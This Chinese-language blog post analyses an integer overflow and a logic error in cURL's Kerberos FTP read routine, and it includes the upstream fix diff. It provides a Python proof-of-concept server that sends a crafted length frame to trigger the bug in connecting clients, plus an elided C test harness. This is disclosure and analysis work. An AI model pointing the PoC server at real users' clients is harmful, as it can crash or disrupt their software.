cURL Kerberos FTP整数溢出漏洞分析

本文详细分析了cURL中Kerberos FTP组件存在的整数溢出漏洞,该漏洞可导致大规模内存写入和潜在拒绝服务攻击。文章包含完整的技术分析、复现步骤和修复方案。

cURL Kerberos FTP整数溢出漏洞分析

漏洞概述

在cURL的krb5_read_data()函数中发现两个关键问题:

问题一:整数溢出

1
2
3
len = (int)ntohl((uint32_t)len);
if(len > CURL_MAX_INPUT_LENGTH)
  return CURLE_TOO_LARGE;

len值经过网络字节序转换后发生整数溢出变成负值时,会绕过长度检查。随后在以下代码中:

1
2
3
char buffer[1024];
nread = CURLMIN(len, (int)sizeof(buffer));
result = socket_read(data, sockindex, buffer, (size_t)nread);

如果len为-1,nread将被转换为(size_t)-1(一个巨大的数值),最终传递给recv()函数。

问题二:逻辑错误

整个代码逻辑存在缺陷,do-while循环在len非零时继续执行,但随后将len=0传递给decode()函数,而不是传递curlx_dyn_len(&buf->buf)

受影响版本

自功能引入以来的所有版本。

复现步骤

复现服务器代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

漏洞利用测试代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness 127.0.0.1 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

// ... 完整的测试代码实现

漏洞影响

  • 内存耗尽写入:由于整数溢出导致可能的大规模内存分配
  • 潜在拒绝服务recv()调用可能因巨大缓冲区参数而失败
  • 边界读取:缓冲区仅1024字节,而nread可能为巨大数值

修复方案

cURL维护者提供了修复补丁,主要修改包括:

  1. len类型从int改为uint32_t
  2. 移除有问题的类型转换
  3. 修复decode()函数调用参数
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
diff --git a/lib/krb5.c b/lib/krb5.c
index b041d2f227..33655ec1c9 100644
--- a/lib/krb5.c
+++ b/lib/krb5.c
@@ -525,46 +525,47 @@ socket_write(struct Curl_easy *data, int sockindex, const void *to,
 
 static CURLcode krb5_read_data(struct Curl_easy *data, int sockindex,
                                struct krb5buffer *buf)
 {
   struct connectdata *conn = data->conn;
-  int len;
+  uint32_t len;
   CURLcode result;
-  int nread;
+  size_t nread;
+  int rc;
 
   result = socket_read(data, sockindex, &len, sizeof(len));
   if(result)
     return result;
 
   if(len) {
-    len = (int)ntohl((uint32_t)len);
+    len = ntohl(len);
     if(len > CURL_MAX_INPUT_LENGTH)
       return CURLE_TOO_LARGE;
 
     curlx_dyn_reset(&buf->buf);
   }
   else
     return CURLE_RECV_ERROR;
 
   do {
     char buffer[1024];
-    nread = CURLMIN(len, (int)sizeof(buffer));
-    result = socket_read(data, sockindex, buffer, (size_t)nread);
+    nread = CURLMIN(len, sizeof(buffer));
+    result = socket_read(data, sockindex, buffer, nread);
     if(result)
       return result;
     result = curlx_dyn_addn(&buf->buf, buffer, nread);
     if(result)
       return result;
-    len -= nread;
+    len -= (uint32_t)nread;
   } while(len);
   /* this decodes the dynbuf *in place* */
-  nread = conn->mech->decode(conn->app_data,
-                             curlx_dyn_ptr(&buf->buf),
-                             len, conn->data_prot, conn);
-  if(nread < 0)
+  rc = conn->mech->decode(conn->app_data, curlx_dyn_ptr(&buf->buf),
+                          (int)curlx_dyn_len(&buf->buf), conn->data_prot,
+                          conn);
+  if(rc < 0)
     return CURLE_RECV_ERROR;
-  curlx_dyn_setlen(&buf->buf, nread);
+  curlx_dyn_setlen(&buf->buf, rc);
   buf->index = 0;
   return CURLE_OK;
 }
 
 static size_t

最终处理

cURL团队决定完全移除Kerberos FTP支持,因为该代码自引入漏洞的提交以来已被证明无法正常工作且无人使用。该漏洞被标记为"Informative"而非安全漏洞,因为代码本身已损坏,用户不会因此受到攻击。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计